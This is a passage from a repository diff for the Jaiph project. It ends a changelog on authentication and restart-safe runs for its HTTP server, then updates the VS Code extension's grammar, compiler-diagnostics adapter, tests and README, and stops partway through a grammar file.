capabilities — `invoke` (run a workflow, MCP `tools/call`), `inspect` (read workflows/runs/events/artifacts, MCP `tools/list`), and `cancel` (cancel a run) — are granted in OIDC mode by the OAuth `jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel` scopes (read from the `scope` string or `scp` array); a principal missing a capability is `403 E_FORBIDDEN`, and a principal (the token `sub`) may inspect or cancel **only the runs it created** — another principal's run is `404`, indistinguishable from nonexistent. **Audit identity everywhere but the journal:** the authenticated subject and a request/correlation id (from `X-Correlation-Id` / `X-Request-Id`, newline-stripped and bounded, else a generated UUID) are attached to run metadata (`principal` / `correlation_id` on the run object and persisted `run.json`), the invoke/cancel audit log lines, OTLP resource attributes (`jaiph.principal` / `jaiph.correlation_id`), and Sentry tags — propagated across async steps (including the MCP `tools/call` dispatch and detached SSE streaming) via `AsyncLocalStorage` — while **no token or secret-bearing claim is ever written to the durable journal**. **Configurable API-surface exposure:** `JAIPH_SERVE_EXPOSE_DOCS=false` returns `404` for `/docs` and `/openapi.json` so a hardened deployment can hide its API surface; `/healthz` stays always-open and credential-free (liveness/readiness only). Verification errors map to distinguishing codes: `401 E_TOKEN_EXPIRED`, `401 E_TOKEN_INVALID` (bad audience/issuer/key/signature), `403 E_FORBIDDEN` (insufficient scope), and `503 E_AUTH_UNAVAILABLE` when the identity provider / JWKS is unreachable (a valid token is never reported invalid because the IdP is down). This adds the project's **first runtime dependency** (`jose`; `package.json` gains a `dependencies` block). Tests: `src/cli/serve/auth.test.ts` (open/static/OIDC mode resolution and precedence, static-token header matrix, scope→capability mapping including the insufficient-scope and `scp`-array cases), new cases in `src/cli/serve/handler.test.ts` (capability gating per endpoint, per-principal run ownership, audit log lines without the token), and `integration/serve-auth.test.ts` (the full OIDC token matrix — valid, expired, wrong-audience, wrong-issuer, unknown-key, insufficient-scope, and missing — against a live server; separate capabilities with per-principal run visibility and audited invoke/cancel that never contain the bearer token; and `--help` documenting the static token as single-operator, not multi-tenant). Docs: a rewritten [Authenticate and authorize](docs/serve.md#7-authenticate-and-authorize) section in [Serve workflows over HTTP](docs/serve.md) (both modes, the scope→capability table, ownership, and the audit-identity propagation), the auth/capability/error/`principal`+`correlation_id` updates in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), the `JAIPH_SERVE_OIDC_*` / `JAIPH_SERVE_EXPOSE_DOCS` rows plus the updated `JAIPH_SERVE_TOKEN` and `OTEL_RESOURCE_ATTRIBUTES` rows in [Environment variables](docs/env-vars.md), the `jaiph.principal` / `jaiph.correlation_id` OTLP resource attributes and Sentry tags in [Export traces to an OTLP collector](docs/observability.md), the OIDC option in the Kubernetes auth note of [Deploy](docs/deploy.md), and README + `docs/index.html` feature bullets. - **Fix — make `jaiph serve` runs restart-safe and retry-safe, and define the supported topology:** run artifacts were durable but HTTP run *discovery* was only an in-memory map, so restarting the process made every completed run id unreachable (`GET /v1/runs/{id}`, `/events`, `/artifacts` → `404`), lost all in-flight state, and — because a create had no idempotency contract — let a client retry after a blip or a restart spawn a **second** expensive workflow. `jaiph serve` was a single-process developer server, not yet a reliable service. Four changes close the gap. **Durable public run record.** A run's public object is now persisted beside its journal as `run.json` (new `src/cli/serve/run-store.ts`, `persistRunRecord`), written atomically (temp file + `rename`) at finalize — best-effort and a no-op when the run has no discovered `run_dir`, so a read-only or vanished run dir never breaks the HTTP response. **Reconstruction on startup.** `loadPersistedRuns` scans `JAIPH_RUNS_DIR` (the same date/time layout `findRunDir` uses) and seeds the registry before the first request (`ServeHandlerOptions.initialRuns`): a run with a `run.json` reloads verbatim (a `schema_version` guard ignores an incompatible file rather than mis-parsing it), so list/get/events/artifacts and idempotency keys all keep working for runs that completed before the restart. **Interrupted-run reconciliation.** A run with a journal but no `run.json` was `running` when the process died; on startup it is reconciled from its `WORKFLOW_START` line into a new explicit terminal status **`interrupted`** (`RunStatus`, `isTerminal`, and the OpenAPI `status` enum all gain it) — its real outcome is unknown, so it is neither `succeeded` nor `failed`, but it is **never reported as permanently `running`** — and the reconciliation is persisted so it is stable across further restarts. **Idempotent creation.** `POST /v1/workflows/{name}/runs` now honors an `Idempotency-Key` request header, scoped to the workflow **and** the authenticated principal (a composite key; `principalOf` derives an opaque 16-hex hash of the presented bearer token, or `anonymous` when no token is configured — never the raw token, which would otherwise land in `run.json`). The key is reserved synchronously in an in-memory index **before any await**, so a concurrent retry cannot race to a duplicate spawn: a repeat with the same key and identical arguments returns the **original** run (`200`, nothing spawned); a reused key with **different** arguments is `409 E_IDEMPOTENCY_CONFLICT` and, again, spawns nothing. Argument comparison is a SHA-256 of the run's canonical (key-sorted) args (`hashArgs`), so reordered-but-equal arguments match. The composite key, principal, and args hash persist in `run.json`, and the index is rebuilt from reconstructed records at startup, so idempotency survives a restart too; a new `evict()` drops the index entry when its run leaves the retained set (so the index can't outgrow the registry, and a fresh request with a forgotten key starts a new run). **Topology stated explicitly.** `jaiph serve` is documented as **single-replica**: the run registry, concurrency cap, and idempotency index are per-process with no shared store, so multi-replica operation behind one load balancer is unsupported — scale vertically. `docs/deploy/k8s.yaml` pins `replicas: 1` with a `Recreate` strategy (so a rollout hands the runs volume to exactly one successor pod) and an inline comment explaining why. Tests: `src/cli/serve/run-store.test.ts` (order-independent `hashArgs`; persist→load round-trips a terminal run with its idempotency key; a journal-only run — even one whose journal reached `WORKFLOW_END` — reconciles to `interrupted` and is persisted; oldest-first ordering; an absent runs root yields an empty registry and persist is a no-op without a run dir), new cases in `src/cli/serve/handler.test.ts` (same key+args returns the original and never re-spawns; same key + different args is `409` and never spawns; distinct keys/workflows/principals are independent; an evicted original spawns fresh rather than returning a dangling id; `initialRuns` seed the registry so a restarted server serves prior terminal runs and their keys; `persistRun` fires with the terminal record at finalize), and `integration/serve-restart.test.ts` (recovery **and** idempotency survive a real process restart end-to-end). Docs: a new "Restart-safe and retry-safe" section (durable records, interrupted reconciliation, idempotency, with `curl` examples) and a "Deployment topology" section in [Serve workflows over HTTP](docs/serve.md), the `Idempotency-Key`/`interrupted`/`409 E_IDEMPOTENCY_CONFLICT` and disk-reconstruction notes in [CLI](docs/cli.md#jaiph-serve), and a single-replica-by-design bullet in [Deploy the runtime image standalone](docs/deploy.md) plus the pinned `replicas: 1` + `Recreate` manifest. No new `JAIPH_*` env vars. diff --git a/QUEUE.md b/QUEUE.md index f40eee63..4dfcd153 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,24 +14,6 @@ Process rules: *** -## Bring the in-tree VS Code plugin up to current Jaiph #dev-ready - -`plugins/vscode/` was imported from the old `jaiph-syntax-vscode` repo and still reflects a stale language surface (`.jph` fixtures/docs, incomplete keyword/grammar coverage, repository metadata already retargeted to this monorepo). Editor support that lies about the language is worse than no support. - -Scope: - -- Align TextMate grammar, language configuration, and fixtures with the current `.jh` / `*.test.jh` grammar (including constructs the old extension never knew: `script`, `async`, `catch`, `recover`, channels/send, tests, etc. — derive the keyword and structure set from `docs/grammar.md` / `docs/language.md` and parser sources, not from the old extension README). -- Keep diagnostics and formatting wired to the installed `jaiph` CLI (`compile` / `format`); fail clearly when the binary is missing; cover happy path and error diagnostics with automated tests that break when the CLI contract changes. -- Fix packaging metadata and docs: only `.jh`, monorepo paths, how to F5 from `plugins/vscode/`, publish/package scripts. -- Add a path-filtered CI job (or documented npm script gate) so `plugins/vscode` compile/package/tests run when that tree changes without making every core PR rebuild the extension by default. - -Acceptance: - -- Opening a fixture that exercises current language constructs highlights correctly; a regression fixture for a removed/wrong extension (e.g. `.jph`-only assumptions) fails the plugin's test suite. -- Saving a deliberately invalid `.jh` file produces at least one diagnostic sourced from `jaiph compile` (or equivalent); with `jaiph` missing from PATH and no `jaiph.compilerPath`, the extension reports a clear configuration error instead of silent success. -- `npm run compile` (and package) succeed from `plugins/vscode/`; README instructions match that layout. -- A CI path filter or equivalent check fails the PR when `plugins/vscode` grammar/tests are broken. - ## Add a Zed language extension under `plugins/zed` #dev-ready Zed has no Jaiph support. Zed language extensions require Tree-sitter (not TextMate), so VS Code grammars cannot be reused as-is. An empty `plugins/zed/` placeholder exists; ship a real extension there. diff --git a/plugins/vscode/.gitignore b/plugins/vscode/.gitignore index 87040c86..2f3001a4 100644 --- a/plugins/vscode/.gitignore +++ b/plugins/vscode/.gitignore @@ -146,4 +146,7 @@ vite.config.ts.timestamp-* # Jaiph .jaiph/runs -tmp/ \ No newline at end of file +tmp/ + +# Compiled test output +out-test/ \ No newline at end of file diff --git a/plugins/vscode/.vscodeignore b/plugins/vscode/.vscodeignore index 44c8df51..59419117 100644 --- a/plugins/vscode/.vscodeignore +++ b/plugins/vscode/.vscodeignore @@ -5,7 +5,9 @@ **/*.vsix **/*.log src/** -syntaxes/fixtures/** +test/** +out-test/** tsconfig.json +tsconfig.test.json .tmp-jaiph-*/** tmp/** diff --git a/plugins/vscode/README.md b/plugins/vscode/README.md index 7ea6858a..e90ecdac 100644 --- a/plugins/vscode/README.md +++ b/plugins/vscode/README.md @@ -1,29 +1,66 @@ # Jaiph Syntax for VS Code -Syntax highlighting, compiler diagnostics, and formatting for Jaiph (`.jh` files). +Syntax highlighting, compiler diagnostics, and formatting for Jaiph (`.jh` and +`*.test.jh` files). - Website: [jaiph.org](https://jaiph.org) - Lives in the monorepo at `plugins/vscode/` ([jaiphlang/jaiph](https://github.com/jaiphlang/jaiph)) ## Features -- Highlights Jaiph keywords and structure for `.jh` / `*.test.jh` -- Compiler diagnostics on open/save via the `jaiph` CLI -- Document formatting via `jaiph format` -- Embedded grammars for script/prompt blocks (shell, python, javascript, markdown, …) +- Highlights the current Jaiph surface for `.jh` / `*.test.jh`: `import`, + `config`, `channel` (`->` routes, `<-` sends), `script` (backtick and fenced), + `rule`, `workflow`, `run` / `run async`, `ensure`, `catch` / `recover`, + `prompt … returns`, `match`, `if` / `else if`, `for … in`, `const`, + `log` / `logerr` / `logwarn`, `fail`, `return`, and `test` blocks + (`mock …`, `allow_failure`, `expect_contain` / `expect_not_contain` / + `expect_equal`). +- Compiler diagnostics on open/save via `jaiph compile --json`. +- Document formatting via `jaiph format`. +- Embedded grammars for script/prompt bodies (shell, python, node/js, + typescript, ruby, perl, lua, powershell, php, markdown). + +## Configuration + +- `jaiph.compilerPath` — path to the `jaiph` binary (absolute path or a command + on `PATH`). Defaults to `jaiph`. If the binary cannot be found, the extension + surfaces a clear error instead of failing silently. +- `jaiph.diagnostics.enabled` — toggle compile-on-save/open diagnostics. ## Local development -1. Open **this folder** (`plugins/vscode`) in VS Code / Cursor (not the monorepo root). -2. `npm install && npm run compile` -3. Press `F5` to launch an Extension Development Host. -4. Open a `.jh` file in the new window. +1. Open **this folder** (`plugins/vscode`) in VS Code / Cursor — not the + monorepo root. +2. `npm install` +3. `npm run compile` +4. Press `F5` (uses `.vscode/launch.json`, which points the Extension + Development Host at this folder) and open a `.jh` file in the new window. + +## Test + +```bash +npm install +npm test # typecheck + esbuild compile + grammar & CLI-contract tests +``` + +The test suite (`test/`) has two lanes: + +- **Grammar** — tokenizes fixtures with `vscode-textmate` and asserts scopes, + including a regression fixture that fails if stale surface (e.g. the removed + `wait` keyword) is reintroduced. +- **Diagnostics** — runs the real monorepo `jaiph compile --json` against + fixtures, so it breaks if the CLI diagnostics contract changes. Build the CLI + once at the repo root first: `npm run build` in the monorepo root. ## Package ```bash npm install -npm run package +npm run package # produces a .vsix in this directory (gitignored) ``` -Produces a `.vsix` in this directory (gitignored). +## Publish + +```bash +npx @vscode/vsce publish # requires a marketplace publisher token +``` diff --git a/plugins/vscode/language-configuration.json b/plugins/vscode/language-configuration.json index 93b01b45..0abb733f 100644 --- a/plugins/vscode/language-configuration.json +++ b/plugins/vscode/language-configuration.json @@ -21,7 +21,7 @@ ], "folding": { "markers": { - "start": "^\\s*(config|rule|workflow|script|test|if|else|match|mock)\\b.*\\{\\s*$|^\\s*(?:(?:export\\s+)?script\\s+[A-Za-z_][A-Za-z0-9_]*\\s*=\\s*|(?:(?:const\\s+)?[A-Za-z_][A-Za-z0-9_]*\\s*=\\s*)?run\\s+)```\\s*[A-Za-z0-9_]*\\s*$|(?:prompt|log|logerr|fail|return|const\\s+[A-Za-z_][A-Za-z0-9_]*\\s*=|[A-Za-z_][A-Za-z0-9_]*\\s*<-)\\s*\"\"\"\\s*$", + "start": "^\\s*(config|rule|workflow|script|test|if|else|match|mock|for)\\b.*\\{\\s*$|^\\s*(?:(?:export\\s+)?script\\s+[A-Za-z_][A-Za-z0-9_]*\\s*=\\s*|(?:(?:const\\s+)?[A-Za-z_][A-Za-z0-9_]*\\s*=\\s*)?run\\s+)```\\s*[A-Za-z0-9_]*\\s*$|(?:prompt|log|logerr|fail|return|const\\s+[A-Za-z_][A-Za-z0-9_]*\\s*=|[A-Za-z_][A-Za-z0-9_]*\\s*<-)\\s*\"\"\"\\s*$", "end": "^\\s*\\}\\s*$|^\\s*```\\s*(?:\\(.*\\))?\\s*$|^\\s*\"\"\"\\s*$" } }, diff --git a/plugins/vscode/package-lock.json b/plugins/vscode/package-lock.json index c58db773..38abcc11 100644 --- a/plugins/vscode/package-lock.json +++ b/plugins/vscode/package-lock.json @@ -9,10 +9,13 @@ "version": "0.9.0", "license": "MIT", "devDependencies": { + "@types/node": "^20.0.0", "@types/vscode": "^1.85.0", "@vscode/vsce": "^3.6.0", "esbuild": "^0.25.0", - "typescript": "^5.7.0" + "typescript": "^5.7.0", + "vscode-oniguruma": "^2.0.1", + "vscode-textmate": "^9.0.0" }, "engines": { "vscode": "^1.85.0" @@ -990,6 +993,16 @@ "@textlint/ast-node-types": "15.5.2" } }, + "node_modules/@types/node": { + "version": "20.19.43", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.43.tgz", + "integrity": "sha512-6oYBAi5ikg4Pl+kGsoYtawUMBT2zZMCvPNF7pVLnHZfd1zf38DRiWn/gT01RYCdUqkv7Fhr+C9ot4/tb+2sVvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": "~6.21.0" + } + }, "node_modules/@types/normalize-package-data": { "version": "2.4.4", "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", @@ -4294,6 +4307,13 @@ "node": ">=20.18.1" } }, + "node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "dev": true, + "license": "MIT" + }, "node_modules/unicorn-magic": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", @@ -4366,6 +4386,20 @@ "url": "https://bevry.me/fund" } }, + "node_modules/vscode-oniguruma": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-2.0.1.tgz", + "integrity": "sha512-poJU8iHIWnC3vgphJnrLZyI3YdqRlR27xzqDmpPXYzA93R4Gk8z7T6oqDzDoHjoikA2aS82crdXFkjELCdJsjQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-textmate": { + "version": "9.3.2", + "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-9.3.2.tgz", + "integrity": "sha512-n2uGbUcrjhUEBH16uGA0TvUfhWwliFZ1e3+pTjrkim1Mt7ydB41lV08aUvsi70OlzDWp6X7Bx3w/x3fAXIsN0Q==", + "dev": true, + "license": "MIT" + }, "node_modules/whatwg-encoding": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", diff --git a/plugins/vscode/package.json b/plugins/vscode/package.json index 853f666c..81bde8fa 100644 --- a/plugins/vscode/package.json +++ b/plugins/vscode/package.json @@ -22,13 +22,19 @@ "scripts": { "compile": "esbuild src/extension.ts --bundle --outfile=dist/extension.js --external:vscode --format=cjs --platform=node --sourcemap", "watch": "npm run compile -- --watch", + "check": "tsc -p tsconfig.json --noEmit", + "build:test": "tsc -p tsconfig.test.json", + "test": "npm run check && npm run compile && npm run build:test && node --test out-test/test/*.test.js", "package": "npm run compile -- --minify && vsce package" }, "devDependencies": { + "@types/node": "^20.0.0", "@types/vscode": "^1.85.0", "@vscode/vsce": "^3.6.0", "esbuild": "^0.25.0", - "typescript": "^5.7.0" + "typescript": "^5.7.0", + "vscode-oniguruma": "^2.0.1", + "vscode-textmate": "^9.0.0" }, "engines": { "vscode": "^1.85.0" diff --git a/plugins/vscode/src/compile.ts b/plugins/vscode/src/compile.ts new file mode 100644 index 00000000..9f8f8951 --- /dev/null +++ b/plugins/vscode/src/compile.ts @@ -0,0 +1,78 @@ +import { execFile } from "child_process"; + +// The Jaiph CLI contract this adapter depends on: +// `jaiph compile --json ` prints a JSON array of diagnostics to stdout +// (`[]` when the file is clean) and exits non-zero when any diagnostic exists. +// Tests in test/compile.test.ts run the real CLI so they break if that changes. +export interface CompileDiagnostic { + file: string; + line: number; + col: number; + code: string; + message: string; +} + +export type CompileResult = + | { kind: "ok"; diagnostics: CompileDiagnostic[] } + | { kind: "config-error"; message: string } + | { kind: "error"; message: string }; + +interface ExecError extends Error { + code?: string | number | null; +} + +/** A spawn failure means the compiler binary could not be launched at all. */ +export function isMissingBinaryError(err: ExecError | null | undefined): boolean { + return !!err && (err.code === "ENOENT" || err.code === "EACCES"); +} + +/** Build the user-facing message for a missing/unreachable compiler binary. */ +export function missingBinaryMessage(compilerPath: string, usingDefaultPath: boolean): string { + if (usingDefaultPath) { + return `Jaiph compiler ("jaiph") not found on PATH. Install the Jaiph CLI or set "jaiph.compilerPath" in your settings.`; + } + return `Jaiph compiler not found at configured "jaiph.compilerPath": ${compilerPath}. Fix the path or install the Jaiph CLI.`; +} + +export interface RunCompileOptions { + compilerPath: string; + filePath: string; + cwd?: string; + /** True when jaiph.compilerPath was left at its default (not configured). */ + usingDefaultPath: boolean; + timeoutMs?: number; +} + +export function runCompile(opts: RunCompileOptions): Promise { + const { compilerPath, filePath, cwd, usingDefaultPath, timeoutMs = 15_000 } = opts; + return new Promise((resolve) => { + execFile( + compilerPath, + ["compile", "--json", filePath], + { cwd, timeout: timeoutMs }, + (error, stdout, stderr) => { + const err = error as ExecError | null; + if (isMissingBinaryError(err)) { + resolve({ kind: "config-error", message: missingBinaryMessage(compilerPath, usingDefaultPath) }); + return; + } + // `compile` exits non-zero when diagnostics exist but still prints them + // to stdout, so parse stdout before treating a non-zero exit as failure. + const text = stdout?.trim(); + if (text) { + try { + resolve({ kind: "ok", diagnostics: JSON.parse(text) as CompileDiagnostic[] }); + } catch { + resolve({ kind: "error", message: `Jaiph compile produced unexpected output: ${text.slice(0, 200)}` }); + } + return; + } + if (err) { + resolve({ kind: "error", message: (stderr || err.message).trim() }); + return; + } + resolve({ kind: "ok", diagnostics: [] }); + }, + ); + }); +} diff --git a/plugins/vscode/src/diagnostics.ts b/plugins/vscode/src/diagnostics.ts index 08514261..2e4cf23f 100644 --- a/plugins/vscode/src/diagnostics.ts +++ b/plugins/vscode/src/diagnostics.ts @@ -1,13 +1,9 @@ import * as vscode from "vscode"; -import { execFile } from "child_process"; +import { runCompile, CompileDiagnostic } from "./compile"; -interface CompileDiagnostic { - file: string; - line: number; - col: number; - code: string; - message: string; -} +// Show the "compiler missing" error at most once until it is resolved, so a +// misconfigured PATH does not spam a popup on every save/open. +let configErrorShown = false; function toDiagnostic(err: CompileDiagnostic): vscode.Diagnostic { const line = Math.max(0, err.line - 1); @@ -19,6 +15,13 @@ function toDiagnostic(err: CompileDiagnostic): vscode.Diagnostic { return diag; } +function isCompilerPathConfigured(config: vscode.WorkspaceConfiguration): boolean { + const inspected = config.inspect("compilerPath"); + return Boolean( + inspected?.globalValue || inspected?.workspaceValue || inspected?.workspaceFolderValue, + ); +} + export async function runDiagnostics( document: vscode.TextDocument, collection: vscode.DiagnosticCollection, @@ -27,44 +30,37 @@ export async function runDiagnostics( if (!config.get("diagnostics.enabled", true)) return; const compilerPath = config.get("compilerPath", "jaiph"); - const filePath = document.uri.fsPath; - const cwd = vscode.workspace.getWorkspaceFolder(document.uri)?.uri.fsPath; + const result = await runCompile({ + compilerPath, + filePath: document.uri.fsPath, + cwd: vscode.workspace.getWorkspaceFolder(document.uri)?.uri.fsPath, + usingDefaultPath: !isCompilerPathConfigured(config), + }); - try { - const stdout = await new Promise((resolve, reject) => { - execFile( - compilerPath, - ["compile", "--json", filePath], - { cwd, timeout: 15_000 }, - (error, stdout, stderr) => { - // compile exits non-zero on errors but still prints JSON to stdout - if (stdout) { - resolve(stdout); - } else { - reject(error ?? new Error(stderr)); - } - }, - ); - }); - - const errors: CompileDiagnostic[] = JSON.parse(stdout); - const byFile = new Map(); - - for (const err of errors) { - const uri = vscode.Uri.file(err.file).toString(); - if (!byFile.has(uri)) byFile.set(uri, []); - byFile.get(uri)!.push(toDiagnostic(err)); + if (result.kind === "config-error") { + if (!configErrorShown) { + configErrorShown = true; + vscode.window.showErrorMessage(result.message); } + return; + } + configErrorShown = false; - collection.clear(); - for (const [uriStr, diags] of byFile) { - collection.set(vscode.Uri.parse(uriStr), diags); - } + // A transient failure (timeout, non-JSON output) leaves prior diagnostics in place. + if (result.kind === "error") return; - if (errors.length === 0) { - collection.delete(document.uri); - } - } catch { - // Compiler not found or crashed — silently ignore + const byFile = new Map(); + for (const err of result.diagnostics) { + const uri = vscode.Uri.file(err.file).toString(); + if (!byFile.has(uri)) byFile.set(uri, []); + byFile.get(uri)!.push(toDiagnostic(err)); + } + + collection.clear(); + for (const [uriStr, diags] of byFile) { + collection.set(vscode.Uri.parse(uriStr), diags); + } + if (result.diagnostics.length === 0) { + collection.delete(document.uri); } } diff --git a/plugins/vscode/src/formatting.ts b/plugins/vscode/src/formatting.ts index 6e2b6cce..d2526d82 100644 --- a/plugins/vscode/src/formatting.ts +++ b/plugins/vscode/src/formatting.ts @@ -1,5 +1,6 @@ import * as vscode from "vscode"; import { execFile } from "child_process"; +import { isMissingBinaryError, missingBinaryMessage } from "./compile"; export class JaiphFormattingProvider implements vscode.DocumentFormattingEditProvider { provideDocumentFormattingEdits( @@ -8,6 +9,9 @@ export class JaiphFormattingProvider implements vscode.DocumentFormattingEditPro ): Promise { const config = vscode.workspace.getConfiguration("jaiph"); const compilerPath = config.get("compilerPath", "jaiph"); + const usingDefaultPath = !config.inspect("compilerPath")?.globalValue + && !config.inspect("compilerPath")?.workspaceValue + && !config.inspect("compilerPath")?.workspaceFolderValue; const filePath = document.uri.fsPath; const cwd = vscode.workspace.getWorkspaceFolder(document.uri)?.uri.fsPath; @@ -16,7 +20,9 @@ export class JaiphFormattingProvider implements vscode.DocumentFormattingEditPro return new Promise((resolve) => { execFile(compilerPath, args, { cwd, timeout: 15_000 }, (error, _stdout, stderr) => { if (error) { - if (stderr) { + if (isMissingBinaryError(error)) { + vscode.window.showErrorMessage(missingBinaryMessage(compilerPath, usingDefaultPath)); + } else if (stderr) { vscode.window.showErrorMessage(`Jaiph format: ${stderr.trim()}`); } resolve([]); diff --git a/plugins/vscode/syntaxes/fixtures/README.md b/plugins/vscode/syntaxes/fixtures/README.md deleted file mode 100644 index e961489d..00000000 --- a/plugins/vscode/syntaxes/fixtures/README.md +++ /dev/null @@ -1,10 +0,0 @@ -# Syntax Fixture - -Use `sample.jph` for manual highlighting checks in the Extension Development Host. - -Checklist: - -- Jaiph keywords are highlighted (`import`, `rule`, `workflow`, `ensure`, `run`, `prompt`, `if`, `then`, `fi`) -- `security.scan` is scoped as a qualified reference -- Strings and comments are highlighted -- Shell commands inside blocks (`test`, `npm run build`) get shell-like tokenization diff --git a/plugins/vscode/syntaxes/fixtures/sample.jph b/plugins/vscode/syntaxes/fixtures/sample.jph deleted file mode 100644 index 29c774db..00000000 --- a/plugins/vscode/syntaxes/fixtures/sample.jph +++ /dev/null @@ -1,217 +0,0 @@ -#!/usr/bin/env jaiph - -import "security.jh" as security -import "bootstrap.jh" as bootstrap - -# Top-level configuration -config { - agent.backend = "claude" - agent.default_model = "claude-sonnet" - run.debug = false - runtime.docker_enabled = true - runtime.docker_image = "node:20" -} - -# Top-level constants -const REPO = "my-project" -const MAX_RETRIES = 3 -const GREETING = """ -Hello, -welcome to the project. -""" - -# Channel declarations -channel alerts -channel reports -> analyst -channel findings -> handler_a, handler_b - -# Named scripts — single-line backtick -script check_file = `test -f "$1"` -script greet = `echo "Hello $1"` - -# Named scripts — fenced shell (default) -script setup_env = ``` -export BASE_DIR=$(pwd) -mkdir -p "$BASE_DIR/output" -echo "Environment initialized" -``` - -# Named scripts — fenced Python -script analyze = ```python3 -import sys -print(f"Analyzing {sys.argv[1]}") -``` - -# Named scripts — fenced Node/JS -script transform = ```node -const data = process.argv[2]; -console.log(JSON.stringify({ result: data })); -``` - -# Rule with named parameters -rule check_deps(path) { - run check_file(path) - return "${path}" - log "Checked: ${path}" -} - -# Exported rule -export rule validate_all() { - ensure check_deps("package.json") - run setup_env() - const result = run greet(REPO) - log result - - match status { - "ok" => "all good" - /err/ => "something went wrong" - _ => "unknown" - } - - return "${status}" -} - -# Workflow with config override, conditionals, channels -export workflow default(task, role) { - config { - agent.default_model = "claude-opus" - } - - # If with comparison operators - const status = run greet(REPO) - if status == "ok" { - log "Dependencies OK" - } else if status != "error" { - run bootstrap.nodejs() - } else { - log "Skipping" - } - - # If with regex match operators - if status =~ /^success/ { - log "Matched success" - } else if status !~ /fail/ { - log "No failure found" - } - - # Ensure with recover bindings - ensure validate_all() recover (failure) { - log "Validation failed: ${failure}" - run setup_env() - } - - # Run with recover bindings - run setup_env() recover (err) { - log "Setup failed: ${err}" - run bootstrap.nodejs() - } - - # Single-statement recover - ensure check_deps("package.json") recover (failure) run setup_env() - - # Prompt — single-line - prompt "Review the code for security issues" - answer = prompt "Summarize the report" returns "{ type: string, risk: string }" - log "Risk: ${answer.risk}" - - # Prompt — bare identifier - const text = "Analyze this code" - const reply = prompt text returns "{ summary: string }" - log "Summary: ${reply.summary}" - - # Prompt — triple-quoted multiline - const analysis = prompt """ - You are a helpful assistant. - Analyze the following: ${task} - Role: ${role} - """ - - # Inline captures in strings - log "Got: ${run greet(REPO)}" - log "Status: ${ensure check_deps("package.json")}" - - # Inline script — single-line backtick - run `echo hello`() - const ts = run `date +%s`() - x = run `echo $1-$2`("hello", "world") - - # Inline script — fenced shell - run ``` -echo "line one" -echo "line two" -```() - - # Inline script — fenced python - const py_result = run ```python3 -import sys -print(f"args: {sys.argv[1:]}") -```("arg1", "arg2") - - # Inline script — fenced node - run ```node -console.log("from node"); -```() - - # Async execution - run async security.scan_passes() - run async bootstrap.nodejs() - - # Channel send - alerts <- "Build started" - reports <- ${analysis} - findings <- run greet(REPO) - alerts <- """ - Build report for ${REPO}: - Status: complete - """ - - # Log with bare identifier and triple-quoted - log analysis - logerr "Warning: check failed" - log """ - Multi-line log - for ${REPO} - """ - - # Const with triple-quoted - const msg = """ - Hello ${task}, - Welcome. - """ - - # Fail with triple-quoted - fail """ - Multiple issues found: - - missing deps - - invalid config - """ - - # Return forms - return "${analysis}" - return run greet(REPO) - return ensure check_deps("package.json") - return match status { - "ok" => "pass" - _ => "fail" - } - - # Const with match expression - const label = match status { - "ok" => "success" - /err/ => "error" - _ => "unknown" - } -} - -# Test block -test "validate workflow" { - mock security.scan_passes - respond "ok" - allow_failure - - run default("build docs", "writer") - - expectContain "complete" - expectNotContain "error" - expectEqual answer "expected" -} diff --git a/plugins/vscode/syntaxes/jaiph.tmLanguage.json b/plugins/vscode/syntaxes/jaiph.tmLanguage.json index 58798c9d..0bc5748c 100644 --- a/plugins/vscode/syntaxes/jaiph.tmLanguage.json +++ b/plugins/vscode/syntaxes/jaiph.tmLanguage.json @@ -16,6 +16,7 @@ { "include": "#variable-declaration" }, { "include": "#channel-declaration" }, { "include": "#config-keys" }, + { "include": "#for-loop" }, { "include": "#if-statement" }, { "include": "#conditionals" }, { "include": "#recover-bindings" }, @@ -713,7 +714,7 @@ "patterns": [ { "name": "meta.config.key-value.jaiph", - "match": "\\b(agent\\.default_model|agent\\.command|agent\\.backend|agent\\.trusted_workspace|agent\\.cursor_flags|agent\\.claude_flags|run\\.logs_dir|run\\.debug|run\\.inbox_parallel|runtime\\.docker_enabled|runtime\\.docker_image|runtime\\.docker_network|runtime\\.docker_timeout|runtime\\.workspace)\\b\\s*(=)", + "match": "\\b(agent\\.model|agent\\.command|agent\\.backend|agent\\.trusted_workspace|agent\\.cursor_flags|agent\\.claude_flags|run\\.logs_dir|run\\.debug|run\\.recover_limit|runtime\\.docker_image|runtime\\.docker_network|runtime\\.docker_timeout_seconds|module\\.name|module\\.version|module\\.description)\\b\\s*(=)", "captures": { "1": { "name": "variable.other.property.jaiph" }, "2": { "name": "keyword.operator.assignment.jaiph" } @@ -763,9 +764,9 @@ "recover-bindings": { "patterns": [ { - "comment": "recover (binding) - failure recovery with binding", + "comment": "recover (binding) / catch (binding) — failure handler with binding", "name": "meta.recover.jaiph", - "match": "\\b(recover)\\b\\s*(\\()([A-Za-z_][A-Za-z0-9_]*)(\\))", + "match": "\\b(recover|catch)\\b\\s*(\\()([A-Za-z_][A-Za-z0-9_]*)(\\))", "captures": { "1": { "name": "keyword.control.command.jaiph" }, "2": { "name": "punctuation.section.parens.begin.jaiph" }, @@ -776,6 +777,22 @@ ] }, + "for-loop": { + "patterns": [ + { + "comment": "for IDENT in IDENT { ... }", + "name": "meta.loop.for.jaiph", + "match": "\\b(for)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s+\\b(in)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)", + "captures": { + "1": { "name": "keyword.control.loop.jaiph" }, + "2": { "name": 